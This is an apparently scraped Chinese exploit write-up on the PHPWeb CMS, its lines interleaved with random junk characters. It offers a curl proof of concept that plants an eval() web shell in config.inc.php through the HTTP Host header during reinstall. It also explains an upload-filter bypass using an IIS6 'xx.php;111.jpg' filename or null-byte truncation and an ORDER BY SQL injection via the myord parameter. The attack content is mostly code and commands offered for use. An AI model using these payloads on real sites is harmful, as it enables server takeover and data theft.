注入:- G2 b$ n) X, A9 L
- L0 v! q+ s$ w8 Y7 |- L% f
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
y* l; ]7 k# E6 s W* ~3 j8 K9 ` 3 G( p# R- U, y1 f
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" v+ N {4 {, p: ]$ m) A鸡肋2: 有一定安全常识的站长都会删掉 install 目录
$ a$ j5 f4 i/ F. m) s
: E, Q$ h- b: K0 N5 K* v' m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; b5 a6 K+ t! L# W/ @3 l& G. h
5 P+ n% @" [/ x+ {3 P9 J3 ^$ \分析: i* l& b3 Z7 F
( v: n1 o0 S K
+ y6 a+ C% Q7 h2 @9 S; w( X2 N$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& E6 G2 M9 h4 T; c
& R, O: }' i3 G4 `2 U& r' b $filestr = fread(fopen($SysConfigFile, 'r'),30000);; D* u9 N4 P0 T* ^8 f0 I1 A: w# d
$filestr=str_replace(" ","",$filestr);0 A8 i4 v* }& k) G; g
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);9 F4 e F8 s6 B7 t* {( `% ~6 @5 N
$filestr=str_replace("DefaultDbName",$dbname,$filestr); p9 p6 H3 E8 ]5 f1 {( e, {( u
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);! N \ B* l! B# B2 V- O; p
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& Q3 S" r$ e: R" L9 f$ N; t $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; ^6 b4 a5 }* |& } $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);2 U2 K! Z2 }5 H6 H1 u3 D# i
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
4 t( D( F( Z" D6 t, ^7 u i8 A / V/ M ]& Q# i9 y- }
fwrite(fopen($ConFile,"w"),$filestr,30000);
* m! j5 h7 z. k4 b" k f. v$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 L& ]4 I% P* p: o4 U
~0 @3 u3 y- r& M0 m4 A2 o1 O8 Upoc:
0 y- H) l/ D0 O0 M1 } , ^5 V" n) s9 E
?
2 C7 X0 C& }9 q3 k) j" A8 r1
' q5 b( j5 A) \- H! m9 acurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
. c$ i& l( t+ I( r' ]- _8 \shell地址: /config.inc.php0 Q, j; v, \9 C- n$ J$ f
跟之前的 phpcms一样 需要远程数据库6 } ~* |: ]: m
9 G( l3 m5 b, f
——————————————————–
) l5 k) e0 x1 d0 {上传漏洞(需要进后台):
9 K6 z, P4 F5 A1 a6 C- G6 N) E4 R- t K漏洞文件: /kedit/upload_cgi/upload.php% S2 W1 A" o$ z" u1 ]1 z9 a9 l' Y$ {. o; Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 R8 M- }2 g5 s( l$ [0 Y$ g
; O6 r/ W3 {* _ O, w
. o' Z; h! @6 X4 p# g
<?php
8 d. y6 A* e# u define("ROOTPATH", "../../");" k2 X$ N" E, ?* w
include(ROOTPATH."includes/admin.inc.php");
* l# b" s6 W* X d8 C( H# `) S: b8 S NeedAuth(0);
, O0 {& B6 N5 y2 n: V- h5 R+ k
) _- b: t$ j0 \# N $dt=date("Ymd",time());
) E% `7 p9 v. {* }: ^ if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){+ o: p- N. f! W8 Z+ s
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, p0 ~ q2 c& r }
4 q) M& @4 ^' h: N8 r9 C3 ?2 u ; h- A' X) r/ Q: |+ _3 f
//文件保存目录路径. f& \" z( W% w2 p
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';- E5 e: ^" O0 U% G F. m- n* V
echo $save_path;8 ]$ { h( o3 g2 w* t
//文件保存目录URL i- E6 E( D5 D
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
0 T) i4 \( `+ a' a
8 V8 q( R! g2 p. l8 Y" K //定义允许上传的文件扩展名+ B% z3 r3 U& C$ H6 P0 i
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 o& |! h) v+ Y& ?6 K5 U) f / z% b3 q o, q8 u3 z& Y0 b
//最大文件大小6 W9 Y8 o4 S I8 [
$max_size = 1000000;8 ^3 i" `# @( u! [, y+ F
& `! \ n& D! G/ n* x5 r //更改目录权限0 }; n9 V: Z# z1 |: `( z$ X% M
@mkdir($save_path, 0777);
- q1 }& M5 n/ g# R/ m1 [ 9 T5 Y, ]- j/ m3 E4 x
//文件的全部路径
" v1 G \3 R, x" e% @ $file_path = $save_path.$_POST['fileName']; //保存文件名4 _% a4 \" U) n( _, [7 W+ I1 w
7 R; o5 w) f5 T2 |$ V' e E; ]
//文件URL8 ^% n2 |" {- i7 R
$file_url = $save_url.$_POST['fileName'];
2 j6 {& z8 {! Q, b/ z/ T% n- e- {4 @//有上传文件时6 }& I4 u4 t% @( f
if (empty($_FILES) === false) {
8 \0 I% a- E4 p1 `; B# z8 h. q
& s$ V: b4 d. E0 l" g( w //原文件名2 N$ i! p3 W# C! v/ G7 V- e3 _
$file_name = $_FILES['fileData']['name'];& v; L3 i7 e5 F0 l) `: S& e0 }
//服务器上临时文件名
" a5 V4 L6 Q2 }4 @0 V: [ $tmp_name = $_FILES['fileData']['tmp_name'];
9 Y q7 H5 I0 z //文件大小" u9 Q n* r5 q
$file_size = $_FILES['fileData']['size'];0 Q; H% y' \3 X/ K/ n$ K7 Z" y
//检查目录6 k, }7 Y7 w) [1 b! Y1 {
if (@is_dir($save_path) === false) {
$ r( C! H/ z# x/ L% T. S; X alert("上传目录不存在。");
4 T2 M T( Z8 g }
; V9 E6 M( I% g2 S7 o5 I //检查目录写权限
9 {/ n4 @0 C7 Q( P4 M if (@is_writable($save_path) === false) {' b3 r- L# k1 |! a( r T5 }
alert("上传目录没有写权限。");3 [* _# u! E2 ~, \4 I1 x
}
" {% [# G) i I$ m. r+ x4 }$ R$ T //检查是否已上传' y1 V/ r* k/ |4 T, y. g8 d
if (@is_uploaded_file($tmp_name) === false) {
( V" Y( t3 R1 Q' ?2 T alert("临时文件可能不是上传文件。");4 S! f0 i- w+ J3 @- g- `7 X
}
* l7 h8 @; ~3 S //检查文件大小
/ [( q0 G7 M! {6 D: L4 z+ V+ ]# q% G if ($file_size > $max_size) {
# Q. C4 P l( K/ F& g alert("上传文件大小超过限制。");
( W. |# }+ R- d }
" Y! k; r. y& J4 v //获得文件扩展名, I( e3 y% z0 O, r* R J% k" C
$temp_arr = explode(".", $_POST['fileName']);" S. `; q$ L4 ?5 C
$file_ext = array_pop($temp_arr);
" q+ ]5 i- R: C0 m% j' H $file_ext = trim($file_ext);
4 k; i- Q" d% V% k! X $file_ext = strtolower($file_ext);5 R3 B: E% e, F' Y9 `8 x
- a& P8 ]" W4 [+ w, k s //检查扩展名 - \5 ~/ v/ h2 l, p. M* A
if (in_array($file_ext, $ext_arr) === false) {
; n0 o7 e, p: y( o1 m4 h alert("上传文件扩展名是不允许的扩展名。");4 L& Y+ u% ^' C$ D; d- k
}9 r B7 `. U9 ]" C8 O
' K- D7 o a4 b" A4 J //移动文件
/ @- O8 u& \# j G //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
9 G( }/ E$ }) ?* W$ L if (move_uploaded_file($tmp_name, $file_path) === false) {. K$ U; z; q* H J" Q
alert("上传文件失败。");
) e( ^4 h7 p2 q& u% v }+ S' q6 }* L! N* W: B5 H
) P& e# _; Z& s: O
@chmod($file_path,0666);
1 S' c4 t1 B# s . v2 Z! W3 a8 |4 X v
?>
$ @7 M* l! v, c" z9 K- k' W抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
# J1 L8 @1 X8 @2 T- W
J/ N5 O7 l$ p9 N* Lapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 R% C1 L+ d" ~6 G) O. x7 R
9 ]+ w# k1 m5 c1 D1 E+ k' [——————————————————
4 s/ X( I5 ]# r1 \% ?1 d- y4 [注入漏洞:. ?! ]0 ^) n x0 o% p6 k
漏洞文件:search/module/search.php6 r% ~! ?9 s! C( T
/search/index.php?key=1&myord=1 [sqlinjection]
/ J7 }* `1 X4 z7 ^/ F : R7 S$ E$ ?0 ~% q$ p
2 U" J5 O& i9 {8 P) z
<?php' w# U' d5 s; Z' f0 b3 |" A
// ... 省略 n 行...- J- W* S# w! w8 Q; n
//第18行:7 p$ @: F* m3 f
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响- p2 O. ~. x: j# u2 S$ k
$page=htmlspecialchars($_GET["page"]);
3 G5 ^8 E' p' o $myord=htmlspecialchars($_GET["myord"]);" f) Q. u2 ?% g' m& b
- l; ?; A! E/ O5 J3 k; J // ... 省略 n 行... v2 M+ x* x0 S5 U* U' s# C2 w& d" Y
$key,$myord 两个参数带入查询! `/ I8 }+ m6 N0 r- R- A) [) S& R
//第47行 $key:0 b) ~/ f, I) u* O
: x$ K! _/ G8 J. o7 j $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 n( d0 g# M7 q. y * I# L# o. u1 v0 [5 E6 P9 A
//第197行 $myord
% V3 Y" b+ f$ V) k8 M7 q $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% ~ f% y+ r L% J$ O8 S- u3 e$ M
) G# J+ I- s/ E- n ?>" N! q: a: u. b4 {4 h/ Z; l
|